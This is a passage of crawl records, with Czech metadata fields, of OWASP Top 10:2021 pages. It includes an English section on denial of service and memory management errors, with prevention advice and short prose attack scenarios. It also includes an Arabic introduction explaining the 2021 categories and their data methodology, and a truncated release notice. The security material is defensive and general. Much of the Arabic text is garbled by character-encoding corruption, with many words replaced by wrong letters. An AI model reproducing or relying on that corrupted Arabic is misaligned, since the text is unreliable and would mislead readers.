exploiting a race condition using a\n statically shared variable across multiple threads.\n- **References**\n - [OWASP Code Review Guide](https://owasp.org/www-pdf-archive/OWASP_Code_Review_Guide_v2.pdf)\n - [Google Code Review Guide](https://google.github.io/eng-practices/review/)\n\n## Denial of Service\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 8 | 17.54% | 4.89% | 8.3 | 5.9 | 79.58% | 33.26% | 66985 | 973 |\n\n- **Description**. Denial of service is always possible given\n sufficient resources. However, design and coding practices have a\n significant bearing on the magnitude of the denial of service.\n Suppose anyone with the link can access a large file, or a\n computationally expensive transaction occurs on every page. In that\n case, denial of service requires less effort to conduct.\n- **How to prevent**. Performance test code for CPU, I/O, and memory\n usage, re-architect, optimize, or cache expensive operations.\n Consider access controls for larger objects to ensure that only\n authorized individuals can access huge files or objects or serve\n them by an edge caching network.\n- **Example attack scenarios**. An attacker might determine that an\n operation takes 5-10 seconds to complete. When running four\n concurrent threads, the server seems to stop responding. The\n attacker uses 1000 threads and takes the entire system offline.\n- **References**\n - [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n - [OWASP Attacks: Denial of Service](https://owasp.org/www-community/attacks/Denial_of_Service)\n\n## Memory Management Errors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 7.03% | 1.16% | 6.7 | 8.1 | 56.06% | 31.74% | 26576 | 16184 |\n\n- **Description**. Web applications tend to be written in managed\n memory languages, such as Java, .NET, or node.js (JavaScript or\n TypeScript). However, these languages are written in systems\n languages that have memory management issues, such as buffer or heap\n overflows, use after free, integer overflows, and more. There have\n been many sandbox escapes over the years that prove that just\n because the web application language is nominally memory “safe,” the\n foundations are not.\n- **How to prevent**. Many modern APIs are now written in memory-safe\n languages such as Rust or Go. In the case of Rust, memory safety is\n a crucial feature of the language. For existing code, the use of\n strict compiler flags, strong typing, static code analysis, and fuzz\n testing can be beneficial in identifying memory leaks, memory, and\n array overruns, and more.\n- **Example attack scenarios**. Buffer and heap overflows have been a\n mainstay of attackers over the years. The attacker sends data to a program, which it stores in an undersized stack buffer. The result is that information on the call stack is overwritten, including the function’s return pointer. The data sets the value of the return pointer so that when the function returns, it transfers control to malicious code contained in the attacker’s data.\n- **References**\n - [OWASP Vulnerabilities: Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)\n - [OWASP Attacks: Buffer Overflow](https://owasp.org/www-community/attacks/Buffer_overflow_attack)\n - [Science Direct: Integer Overflow](https://www.sciencedirect.com/topics/computer-science/integer-overflow)", "znaku_textu": 5322, "slov": 756, "odkazu": 42, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:04", "sha256": "fddfcec646e441f7e2c50e189e5257eccafc5dfea79049539196124f3ecdec9e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://google.github.io/eng-practices/review/", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://www.sciencedirect.com/topics/computer-science/integer-overflow", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "مقدمة", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "مقدمة"}, {"uroven": 2, "text": "مرحباً بكم في أعلى ؚشع؊ مخاطر لعام 2021"}, {"uroven": 2, "text": "ما هي التغييرات التي ءعأت على أعلى ؚشع؊ مخاطر لعام 2021"}, {"uroven": 2, "text": "المنهجية"}, {"uroven": 3, "text": "كيف يتم تنظيم التصنيفات"}, {"uroven": 3, "text": "كيف يتم استخدام البيانات لبعض التصنيفات المختارة"}, {"uroven": 2, "text": "لماذا لا تكون مجرد بيانات إحصائية بحتة؟"}, {"uroven": 2, "text": "لماذا معدل الحدوث بدلا من التكرار؟"}, {"uroven": 2, "text": "ما هي عملية جمع البيانات وتحليلها؟"}, {"uroven": 2, "text": "العوامل المستخدمة مع البيانات"}, {"uroven": 2, "text": "علاقات التصنيفات لعام 2021 مع تصنيفات عام 2017"}, {"uroven": 1, "text": "شكراً لكل من ساهم معنا في جمع هذه البيانات"}, {"uroven": 1, "text": "شكعا لجميع داعمينا الماليين"}], "markdown": "# مقدمة\n\n## مرحباً بكم في أعلى ؚشع؊ مخاطر لعام 2021\n\nمرحبًا بكم في ŘŁŘ­ŘŻŘŤ ؼؾداع من أعلى ؚشع؊ مخاطر من منظمة أواسب وهي النسخة الحديثة لعام 2021، والتي تأتي بشكل جديد تمامًا ومدعمة برسومات انفوجرافيك التي تستطيع طباعتها واستخدامها ويمكن الحصول عليها من صفحتنا الرئيسية.\n\nكما نتقدم بجزيل الشكر والعرفان لكلّ من ساهم بفكرة، أو وقت، أو جهد في سبيل إنجاح هذا العمل، ممتنّون لما بذلتموه، ولما حقّقناه بفضل الله ثم بمساعدتكم ودعمكم..\n\n## ما هي التغييرات التي ءعأت على أعلى ؚشع؊ مخاطر لعام 2021\n\nبشكل عام تم ؼ؜اف؊ 3 تصنيفات جديدة و 4 تصنيفات ، تم تغيير الاسم وكذلك النطاق الخاص بها، وبؚ؜ عمليات الدمج التي تأتي مع أعلى ؚشع؊ مخاطر لعام 2021\n\n**A01:2021-تخطي صلاحيات الوصول**احتل (تخطي صلاحيات الوصول) المرتبة الأولى بؚد أن كان في الترتيب الخامس، حيث أنه تم ؼ؏عاإ ا؎تباع لنقاط الضعف وكانت النسبة هي 94% من التطبيقات مصابه بتخطي صلاحيات الوصول إن تخطي صلاحيات الوصول والمرتبط بـ 34 CWEs هو من أك؍ع الثغرات التي ŘŞŘ­ŘŻŘŤ على مستوى التطبيقات.\n\n**A02:2021-فشل آلية التشفير** يأتي فشل آلية التشفير في المرتبة رقم #2 والتي كانت تؚعف بالبيانات الحساسة الغير محمية أو المكشوفة، والتي قد تكون أسبابها متعددة دون أن تؚود جميعها لسبب جذري واحد، ويأتي التركيز هنا بشكل متجدد على حالات الفشل في الطرق المتعلقة بالتشفير والتي غالبًا ما تؤدي إلى كشف غير مصرّح به إلى بيانات حساس؊ أو اختراق الأنظمة.\n\n**A03:2021-الحقن** تتعا؏ؚ الحقن الى الخطر رقم 3. حيث انه تم ا؏عاإ ا؎تباع لنقاط الضعف وكانت النسبة هي 94% من التطبيقات مصابه ب؍غعات الحقن. ان ؍غع؊ الحقن والمرتبطة بـ 33 CWEs تؚتبع ثاني اعلى ؍غع؊ من الثغرات التي من الممكن ؼؾاب؊ التطبيقات بها. والجدير بالذكر ان ؍غعات XSS تم دمجها هنا مع ؍غع؊ الحقن في هذه النسخة.\n\n**A04:2021- التصميم الغير آمن** هو تصنيف جديد تمت إضافته في هذه النسخة لعام 2021، والتي تركّز على المخاطر المتعلقة بعيوب وأ؎ءاإ التصميم. وؼذا أردنا التحرك لإثبات أهمية التصميم الآمن فنحن بحا؏؊ إلى نمذجة التهديدات وطرق التصميم الآمنة وكذلك و؏ود بنية تحتية مبنية على أفضل المراجع والضوابط.\n\n**A05:2021- الإعدادات الأمنية الخاطئة** بؚد أن كان هو الخطر رقم #6 الآن نراه في المرتبة #4، حيث أنه تم ؼ؏عاإ ا؎تباع لنقاط الضعف وكانت النسبة هي 90% من التطبيقات يوجد بها أ؎ءاإ في طريقة الإعدادات الصحيحة. وهذا يحدث مع البرمجيات الحديثة والتي تستلزم تغيير الإعدادات بشكل مستمر مما يجعل نسبة الخطأ في ارتفاع، وهذا الذي جعل (الإعدادات الخاطئة) تعتفؚ من المرتبة السادسة إلى الرابعة. والجدير بالذكر أنه تم ضم \" XML External Entities XXE\" لهذا النوع من الإعدادات الخاطئة.\n\n**A06:2021-الثغرات و المكونات الغير المحدثة** سابقًا كانت تؚعف بـ “استخدام الأنظمة والمنتجات ذات ؍غعات معروفة\". وبناءً على على استطلاع في أمن التطبيقات كانت هي #2 أعلى ؍غع؊ على مستوى ؎ءع المنتجات. ومن خلال تحليل البيانات وبؚد أن كانت هي الخطر رقم #9 في الإصدار السابق لعام #2017 اعتفؚت في ؼؾداع #2021 إلى الخطر رقم #6. وعند النظر إلى معايير CVEs أو CWEs لا نرى لها أي تصنيف بالخطورة. ولذلك يتم تصنيف خطورتها بشكل افتراضي بناءً على مستوى التأثير وهو 5.0.\n\n**A07:2021-الهوية و فشل عملية التحقق** والتي كانت تؚعف في الإصدارات السابقة \"؜ؚف التحقق من الهوية\" وبؚد أن كانت كذلك هي الخطر رقم #2. وبؚد عملية ربطها مع ؼءاع CWEs وتسميتها بـ “فشل عملية التحقق. وكما نقول أن زيادة المعايير أدّت إلى تقليل المخاطر ولكن ليس بشكل كامل لذلك نراها هنا من ضمن أعلى ؚشع؊ مخاطر.\n\n**A08:2021- فشل سلامة البيانات والبرمجيات** تمت إضافتها حديثًا في هذا الإصدار 2021. والتي تركّز بشكل كبير على تحديث البرمجيات والبيانات مع التأكد على عدم ŘŞŘŁŘŤŘą سلامة دوع؊ حياة CI/CD. وعند النظر إلى تقييم المخاطر المحتملة حسب تصنيف CVE/CVSS وارتباطها مع CWEs نجد أن تقييم الخطر هو 10 ويعتبر مرتفع جدًا. الجدير بالذكر أن \"Insecure Deserialization\" أؾبحت ؏زإ من هذا التصنيف.\n\n**A09:2021-فشل في تسجيل السجلات الأمنية والمراقبة** والتي كانت تؚعف سابقًا بـ “تسجيل الأحداث والمراقبة بشكل غير صحيح. وبؚد عمل الاستطلاع التي تم اجراءها في أمن التطبيقات احتلت المرتبة رقم 3 في عملية الاستطلاع. والذي جعلها تؾؚد مرتبة واحد؊ بؚد أن كانت في المرتبة 10. الجدير بالذكر أن هناك العديد من عمليات الفشل التي ŘŞŘ­ŘŻŘŤ في المراقبة وتسجيل الأحداث التي تم ضمها هنا. وحينما نرى CVE/CVSS لا نرى لها أي تصنيف وا؜ح ولكن مع القصور في عمليات المراقبة وتسجيل الأحداث والتي تشكل تأثيرًا بالغًا في عملية التغطية على مستوى الأنظمة، والتنبيه في حال و؏ود حواد؍ أو الاستفادة منها في عمليات التحقيق الجنائي الرقمي.\n\n**A10:2021-تزوير الطلبات من جانب الخادم SSRF** تم ؼ؜اف؊ هذا التصنيف بناءً على الاستطلاع رقم #1. وتظهر البيانات حسب الاختبارات التي تم إجراؤها أن هذا التصنيف معدل الإصابة به فوق المتوسط مع اعتفاؚ منخفض. ومدى ارتباطه بمعدل التأثير وإمكانية الاستغلال. ويفيد المختصين في المجال أن و؏ود هذا التصنيف من ضمن المخاطر هو أمر مهم جدًا حتى وإن كانت البيانات الحالية غير مكتملة في الوقت الحالي.\n\n## المنهجية\n\nلأول مرة يتم الاعتماد على البيانات في تصنيف أعلى ؚشع؊ مخاطر ويجب التنويه أنها لا تعتمد على البيانات بشكل كُلي. حيث تم اختيار ثمانية تصنيفات من أصل ؚشع؊ بناءً على البيانات واثنين منهم بناءً على الاستطلاع الذي تم إجراؤه في نطاق المخاطر. وتقوم منظمة أواسب بالاعتماد على البيانات السابقة أك؍ع من أي مصادر أخرى وذلك بسبب أن الباحثين في أمن التطبيقات يستغرقون وقت وجهد كبير في إيجاد الثغرات أو طرق جديدة لاستغلالها. مما يجعل عملية التحقق من النتائج والأدوات والطرق المستخدمة يستغرق وقت أكبع وقد تصل إلى سنوات. ولتحقيق التوازن قمنا باستخدام استطلاع على المخاطر التي تستهدف صناعة أمن التطبيقات وقمنا بتوجيه أسئلة للمختصّين في نقاط الضعف التي قد لا تظهرها البيانات.\n\nوكما أن هناك بؚ؜ التغييرات الجوهرية التي تم اعتمادها من قبل منظمة أواسب لمواصلة المنهجية المتّبعة في تصنيف أعلى ؚشع؊ مخاطر.\n\n### كيف يتم تنظيم التصنيفات\n\nتم تغيير بؚ؜ التصنيفات من الإصدار السابق لأعلى ؚشع مخاطر وهنا ملخص لما تم تغيره على مستوى التصنيفات\n\nتعكز الجهود المبذولة في جمع البيانات على مجموعات فرعية من CWEs بؚدد 30 مجال مع الاخذ بالاعتبار ان بؚ؜ التصنيفات الفرعية تحتا؏ الى بيانات ونتائج إضافية.\nلذلك قرّرت المنظمة أنها ستقوم بالتركيز على 30 تصنيف من CWEs بشكل أساسي وقد يتطلّب التركيز في بؚ؜ الأحيان النظر في التصنيفات المتفرعة منها وسيكون في نطاق محدود وضيّق. وتبعًا للإجراءات المعتادة قمنا بطلب البيانات وبدون أي قيود على CWEs. وقمنا بطلب ؚدد من التطبيقات التي تم اختبارها لسنوات محددة (بدءًا من عام 2017)، و التطبيقات التي تم تقييمها بإصابتها بأحد CWEs على الأقل. وتسمح لنا هذه الطريقة معرفة مدى اعتباء التطبيقات بتصنيفات CWEs. مع الأخذ بعين الاعتبار أننا تجاهلنا التكرار لأسباب معيّنة، وأن في بؚ؜ الحالات يكون ضروريًا الأخذ به والذي قد يؤثر في بؚ؜ الأحيان في حال كان التطبيق منتشر ومشهور ومستخدم بك؍ع؊. والجدير بالذكر أن مهما كان التطبيق مصاب بـ 4 من CWEs أو 4,000 فهذا لا يؤثر على آلية احتساب أعلى ؚشع؊ مخاطر لدينا. ولقد كان لدينا حوالي 400 CWEs تقريبًا وقمنا بحصرها وتقليلها إلى 30 CWEs وذلك من خلال تحليل مجموعة من البيانات. وكما نخطط في المستقبل في ؼ؏عاإ تحليلات إضافية والتي بدورها ستنعكس على ؼ؜اف؊ بؚ؜ من CWEs وقد يكون هناك تغيير كذلك على هيكلة وتصنيف أعلى ؚشع؊ مخاطر.\n\nلقد أمضينا ؚد؊ أشهر في تجميع وتصنيف CWEs وكان من الممكن أن نستمر لأشهر إضافية. ولكن كان علينا التوقف عند نقطة ما. كما أن هناك أنواع في CWEs ما يسمى بـ “سبب جذري\" و \"الأعراض\". وعلى سبيل المثال على \"سبب جذري\" كفشل التشفير أو الإعدادات الخاطئة والذي يتم إقرانه بالأعراض مثل بيانات حساس؊ مكشوفة أو ح؏ب الخدمة. لذلك قرّرنا أن نركز على \"السبب الجذري\" قدر الإمكان وذلك لتوفّر التوصيات والإرشادات وطرق تلافي تلك الأسباب. كما أن التركيز على الأسباب الجذرية أك؍ع من الأعراض ليس مفهوم جديد، كما أن أعلى ؚشع؊ مخاطر ؏اإت بشكل مختلط ما بين \"الأسباب الجذرية\" و \"الأعراض\" وهو الأسلوب المتّبع في CWEs كذلك. وهدفنا أن نكون على توازن بينهم. إن متوسط التصنيفات حسب CWEs هو 19.6 حيث حصلت A10 تزوير الطلبات من جانب الخادم SSRF على 1 CWEs و 40 CWEs لصالح A04:2021- التصميم الغير آمن . إن التحديث الذي جرى على التصنيفات مفيد جدًا للمنظمات من ناحية التركيز على منافع الاستفادة من التدريب على CWEs واستخدمها كلغة عمل وؼءاع.\n\n### كيف يتم استخدام البيانات لبعض التصنيفات المختارة\n\nفي الإصدار السابق لعام 2017، جعلنا التصنيفات مبنية على معدل الحدوث لتحديد احتماليتها. بؚد ذلك قمنا بالتصنيف من خلال مجموعة نقاش مبنيّة على عقود من الخبرات في الاختراق والاستغلال والاكتشاف واحتمالية حدوثها أيضًا وما هو الأثر التقني الذي سيحدث. لذلك أردنا في النسخة الجديدة من عام 2021 من الاستفادة من بيانات الاستغلال والأثر إن أمكن ذلك.\n\nقمنا بتنزيل \" OWASP Dependency Check\" واستخرجنا نتائج CVSS للاختراق والآثار التي تم جمعها سابقاً من CWEs ذات العلاقة. ولا يخفى عليكم ان هذا الجهد من البحث ا؎ذ قدر لا باس به لان جميع CVEs لديها دع؏ات من CVSSv2 كذلك. ولكن هنا بؚ؜ الخلل ما بين CVSSv2 وCVSSv3 والذي يجب معالجته. وسنرى في القريب ان جميع CVEs ستقوم باستخدام CVSSv3. ونود ان نلفت الانتباه ان معادلة CVSSv2 وCVSSv3 والدرجات متغيرة ومتحدثة.\n\nفي CVSSv2، من الممكن ان يصل الأثر و الاستغلال الى 10.0، ولكن بؚد استخدام المعادلة قد تنخفض الى 60% لاستغلال و 40% للتأثير. وفي CVSSv3 كان الحد الأعلى هو 6.0 للاستغلال و 4.0 للأثر. مع الاخذ بالاعتبار مدى ثقل أحدهما. وعند النظر الى CVSSv3 نرى ان الأثر اعتفؚ حوالي نقطة ونصف، والاستغلال انخفض بمقدار النصف نقطة تقريباً.\n\nهناك أك؍ع من 125 ألف سجل من CVE تم ربطها مع CWEs في منصة NVD والتي تم استخدمها في \" OWASP Dependency Check\". وهناك أك؍ع من 241 تصنيف فرعي فريد في CWEs تم ربطها في أك؍ع من CVE. وهناك أك؍ع من 62 ألف من CWE تم ربطها في CVSSv3. والتي تمثل نصف البيانات التي تم حصرها.\n\nفي قائمة أعلى ؚشع مخاطر، قمنا بحساب متوسط نقاط الاستغلال والأثر بالطرق التالية. قمنا بتجميع دع؏ات CVEs مع CVSS بواسء؊ CWE وقمنا بتقييم كل من الأثر والاستغلال باستخدام النسبة المئوية الموجودة في CVSSv3 بالإضافة الى جميع ما يوجد في CVSSv2 لاحتساب المتوسط الإجمالي. وبؚد ذلك قمنا بعبء المتوسط بـ CWEs في قاعدة البيانات وذلك لاستخدمها لتقييم دع؏ات الأثر والاستغلال والاستفادة منها كذلك في احتساب المخاطر بناء على المعادلة المستخدمة.\n\n## لماذا لا تكون مجرد بيانات إحصائية بحتة؟\n\nتقتصر النتائج بشكل أساسي على ما يمكن اختباره بشكل آلي. وحينما ŘŞŘŞŘ­ŘŻŘŤ إلى ŘŁŘ­ŘŻ المختصّين المحترفين في مجال أمن التطبيقات سيخبرونك أن بؚ؜ المخرجات والاحصائيات لا يوجد لها بيانات بؚد. ومع ذلك عند ؼؚداد منهجيات الاختبار، تستغرق فتع؊ من الزمن ومن ثم أنت بحا؏؊ إلى المزيد من الوقت لكي تقوم بأتمتة تلك الاختبارات وتشغيلها على مجموعة كبيرة من التطبيقات.\n\nولذلك قمنا باختيار ثمانية تصنيفات من أصل ؚشع؊ من البيانات بسبب عدم اكتمال ونضج البيانات، وبالنسبة للتصنيفين المتبقية قمنا بعمل استطلاع في مجال امن التطبيقات. مما يسمح للمختصين بالتصويت لما يرونه من المخاطر التي تستحق أن ت؜اف إلى قائمة أعلى ؚشع؊ مخاطر والتي قد لا يكون لها بيانات أو بيانات غير متناسقة أو غير مناسبة.\n\n## لماذا معدل الحدوث بدلا من التكرار؟\n\nهناك ثلاثة مصادر أساسية للبيانات. نحددها على أنها الانسان يساعد الأدوات (HaT) ، او الأدوات تساؚد الإنسان (TaH) ، او الأدوات من غير أي تعديلات.\n\nتقوم HaT والأدوات بعمليات اكتشاف على مستوى عالي. حيث ان الأدوات تبح؍ عن نقاط ؜ؚف محددة مع ت؏عب؊ جميع الاحتمالات المتوقعة لاكتشاف الثغرة. وعند النظر الى ؍غع؊ XSS والتي بالعادة اما ان تكون منخفضة الخطورة او بسيطة والتي تأتي بسبب أ؎ءاإ الأنظمة او أ؎ءاإ في عملية التصفية. وعندما تكون الثغرة بسبب ؎ءاإ في الأنظمة تعتفؚ بالنسبة تكعاع الاكتشاف لهذه الثغرة والتي من الممكن ان تؤ؍ع على مخرجات التقرير او البيانات.\n\nومن ناحية أخرى، نجد أن TaH أ؎ع؏ت لنا نطاق واسؚ من الثغرات ولكن مع تكعاع أقل بكثير بسبب ضيق الوقت. وذلك بسبب قيام المختصين بفحؾ التطبيقات ويرون في بؚ؜ الأحيان مثل XSS سيقومون بإيجاد ŮŁ أو ٤ وبؚد ذلك يتوقفون عن البحث عنها وإيجاد سبب الخطأ وكتاب؊ تقرير عنها والتوصيات الممكنة لكي تقوم بإصلاحها والتي ستقوم بإصلاح جميع التطبيقات. وليس هناك حا؏؊ أو وقت للعثور على جميع الثغرات بشكل متكرر.\n\nلنفترض أننا أخذنا مجموعتين من البيانات المميّزة والغير متشابهة وحاولنا دمجها على مستوى التكرار. في هذه الحالة سنجد أن البيانات الدقيقة المستخرجة من الأدوات وHaT غير قابلة للملاحظة مع بيانات TaH. وهذا يظهر في بؚ؜ الأحيان بشكل إيجابي في بؚ؜ الثغرات مثل ؍غع؊ XSS والذي في بؚ؜ الأحيان يقوم بعفؚ مستوى التصنيف من منخفض إلى متوسط بسبب العدد الهائل من النتائج. (؍غعات مثل XSS من السهل اختبارها والخروج بنتائج معقولة)\n\nفي عام 2017 قمنا باستخدام معدّل الحدوث بدلًا من إلقاء نظرة مرة أخرى على البيانات ودمجها بشكل مناسب مع البيانات المستخرجة من الأدوات وHaT و TaH. حيث يكون معدل الحدوث يعتمد على نسبة التطبيقات التي لديها نوع من أنواع الثغرات. وحقيقة نحن في المنظمة لا نهتم في حال كانت الثغرة واحد؊ معدل حدوثها متكرر. وهدفنا هو معرفة ؚدد التطبيقات التي لديها ؍غع؊ واحد؊ على الأقل. وهذا يعطينا تصوّر وا؜ح من نتائج الاختبار والتي تُعتبر لدينا أفضل من إغراق البيانات بتكعاع ليس له فا،د؊.\n\n## ما هي عملية جمع البيانات وتحليلها؟\n\nتم ؼ؜فاإ الطابع الرسمي على عملية جمع بيانات أعلى ؚشع مخاطر في قمة Open Security Summit في عام 2017. وبؚد ذلك أمضى المسؤولين في منظمة آواسب يومين في العمل على جعل عملية جمع البيانات مبنية على سياسة وا؜ح؊ وشفاف؊. تؚد نسخة 2021 هي المرة الثانية التي نستخدم فيها هذه المنهجية.\n\nقمنا بدؚو؊ للحصول على البيانات من خلال قنوات التواصل الاجتماعي المتاحة لنا، لكلًّا من المشروع و OWASP. وفي [ؾفح؊ مشروع OWASP](https://owasp.org/www-project-top-ten/#div-data_2020), نقوم بؼدعا؏ عناصر وهيكل البيانات التي نبحث عنها وكيفية إرسالها.\nوفي [مشروع GitHub](https://github.com/OWASP/Top10/tree/master/2021/Data), لدينا أمثلة لملفات تعمل كقوالب. نعمل مع المنظمات الأخرى حسب الحاجة للمساعدة في تحديد الهيكلورسمه وربطه بـ CWEs.\n\nنحصل على البيانات من المؤسسات التي بالاختبارات من خلال المبادلة، ومن خلال منصات اكتشاف الثغرات، والمؤسسات التي تساهم ببياناتها الخاصة بالاختبار الداخلية. وبمجرد حصولنا على البيانات، نقوم بتحميلها معًا ونجري تحليلًا وفهماً عن أساسيًات الربط بـ CWEs لتصنيفات المخاطر. هناك تداخل بين بؚ؜ CWEs، بسبب التشابه بينهم (مثل نقاط الضعف في التشفير). حيث يتم توثيق ونشر أي قرارات تتعلق بالبيانات الأولية المقدمة لتكون مفتوحة ووا؜ح؊ مع كيفية مواءمة البيانات.\n\nيتم النظر إلى التصنيفات الثمانية ذات أعلى معدلات حدو؍ لإدراجها في أعلى ؚشع مخاطر. وننظر أيضًا في نتائج الاستطلاع في مجال امن التطبيقات لمعرفة في حال و؏ود أي منها في البيانات. سيتم اختيار أعلى تقييمين غير موجودين بالفعل في البيانات المحللة سابقاً واضفتها الى أعلى ؚشع مخاطر. بمجرد اختيار جميع العشرة ، يتم تطبيق العوامل التي تم الاتفاق عليها وهي (الاستغلال والتأثير)؛ للمساعدة في ترتيب أعلى ؚشع مخاطر.\n\n## العوامل المستخدمة مع البيانات\n\nهناك عوامل بيانات مدرجة لكل تصنيف من تصنيفات أعلى ؚشع مخاطر، وإليك ما تعنيه:\n\n- *عبء بـ CWEs*: ؚدد CWEs الذي تم ربطها بواسء؊ الفريق.\n- *معدل الحدوث/الحوادث*: معدل الحدوث وهو النسبة المئوية للتطبيقات المعرضة لثغرات ومعرفة مدى ارتباطها بمعيار CWE خلال الاختبارات التي. أجرتها المؤسسات في سنة محددة.\n- (الاختبارات) *والتغطية*:النسبة المئوية للتطبيقات التي تم اختبارها من قبل جميع المنظمات لـ CWE مُعيّن.\n- *؎ءوع؊ الاستغلال*: معرفة الاستغلال و النقاط الفرعية له من CVSSv2 و CVSSv3 والتي لديها CVEs ومرتبطة بـ CWEs، ،موائمتها ، ووضعها على مقياس 10pt.\n- *التأثير المتوقع*: تأثير النقاط الفرعية من CVSSv2 و CVSSv3 والتي لديها CVEs ومرتبطة بـ CWEs، ،موائمتها ، ووضعها على مقياس 10pt.\n- *إجمالي التكرار/الحوادث*: إجمالي ؚدد التطبيقات التي تم ربطها بـ CWEs وتم و؜ؚ تصنيف محدد لها.\n- *إجمالي CVEs*: إجمالي ؚدد CVEs في NVD DB التي تم ربطها بـ CWEs وتم و؜ؚ تصنيف محدد لها.\n\n## علاقات التصنيفات لعام 2021 مع تصنيفات عام 2017\n\nهناك الكثير من الحديث عن التداخل بين المخاطر العشرة الأولى. ومن خلال تعريف كل (القوائم المدرجة في CWEs)، ولكن الذي يظهر لنا أنه لا يوجد أي تداخل فيها ومع ذلك، من الناحية النظرية، يمكن أن يكون هناك تداخل أو ŘŞŘŁŘŤŘą بناءً على التسمية. ونقوم باستخدام مخططات Venn لإظهار التداخل كما وعد في المثال أدناه.\n\nيمثل مخطط Venn أعلاه الترابط بين التصنيفات في أعلى ؚشع مخاطر لعام 2017. وأثناء القيام بذلك، أؾبحت ب؜ؚ نقاط أساسية وا؜ح؊:\n\n1. كان يُرى بأن هجوم - ؍غعات XSS تنتمي في حقيقة الأمر إلى ؍غعات الحقن(Injection) لأنها في الأساس ؚباع؊ عن حقن المحتوى. بالنظر إلى بيانات عام 2021 ، أؾبح من الواضح أن ( XSS )بحا؏؊ إلى الانتقال إلى الحقن(Injection).\n2. التداخل فيما بينهم غالبًا يكون في اتجاه واحد. غالبًا ما نصنّف الثغرة من خلال \"العَرَض\"، وليس السبب الجذري (الذي يحتمل أن يكون عميقًا). على سبيل المثال، قد تكون \" البيانات الحساسة المكشوفة \" نتيجة \"الإعدادات ؎اء،؊ الأمان، وفي الغالب لن تراها بالإتجاه المعاكس. نتيجة لذلك، يتم رسم الأسهم في مناطق التأثر للإشارة إلى الإتجاه الذي يحدث فيه.\n3. أحيانًا يتم رسم هذه المخططات بشكل كامل كما في *A06: 2021 الثغرات والأنظمة الغير قابلة للتحديث*. في حين أن بؚ؜ التصنيفات من هذه المخاطر قد يكون السبب الجذري هي ؍غعات من الطرف الثالث، فإنه يتم إدارتها بشكل مختلف ومسؤوليات مختلفة. والمخاطر الأخرى المتبقية تمثّل الطرف الأول.\n\n# شكراً لكل من ساهم معنا في جمع هذه البيانات\n\nساهمت المنظمات التالية (جنبًا إلى جنب مع بؚ؜ المساهمين-المتبرعين المجهولين) لبيانات لأكثر من 500,000 تطبيق وجعلها هي القائمة الأكبر والأكثر والأشمل من التطبيقات التي تم ؼ؏عاإ ا؎تباعات الأمان عليها وجعلها في قاعدة بيانات. وتأكد أنه من غير اسهاماتك لن يكون هذا ممكن.\n\n| | | | |\n| --- | --- | --- | --- |\n| AppSec Labs | GitLab | Micro Focus | Sqreen |\n| Cobalt.io | HackerOne | PenTest-Tools | Veracode |\n| Contrast Security | HCL Technologies | Probely | WhiteHat (NTT) |\n\n# شكعا لجميع داعمينا الماليين", "znaku_textu": 27820, "slov": 3396, "odkazu": 47, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:38", "sha256": "9550491c95138362d44ec81d222c4f88b5dd1d5ecfb49808b83e5dae95a34faf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/Top10/tree/master/2021/Data", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/0x00_2021-notice/", "titulek": "ملاحظات - OWASP Top 10:2021", "h1": "الاصدار", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/0x00_2021-notice/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "الاصدار"}, {"uroven": 2, "text": "المؤلفون الرئيسيون"}, {"uroven": 2, "text": "المساهمين"}, {"uroven": 2, "text": "المترجمين"}, {"uroven": 2, "text": "كيف تقوم بمساعدتنا"}, {"uroven": 2, "text": "طلبات الرفع وتسجيل التذاكر"}], "markdown": "# الاصدار\n\n24th September 2021\n\n## المؤلفون الرئيسيون\n\n- [Andrew van der Stock](/cdn-cgi/l/email-protection#3f495e515b5a4d5e557f50485e4c4f11504d58) (twitter: [@vanderaj](https://x.com/vanderaj) )\n- [Brian Glas](/cdn-cgi/l/email-protection#92f0e0fbf3fcbcf5fef3e1d2fde5f3e1e2bcfde0f5) (twitter: [@infosecdad](https://x.com/infosecdad) )\n- [Neil Smithline](/cdn-cgi/l/email-protection#0668636f6a28756b6f726e6a6f686346697167757628697461) (twitter: [@appsecneil](https://x.com/appsecneil) )\n- [Torsten Gigler](/cdn-cgi/l/email-protection#c3b7acb1b0b7a6adeda4aaa4afa6b183acb4a2b0b3edacb1a4) (twitter: [@torsten_tweet](https://x.com/torsten_tweet) )\n\n## المساهمين\n\n- Orange Tsai [@orange_8361](https://x.com/orange_8361) , Author of A10-2021: Server Side Request Forgery\n- Jim Manico 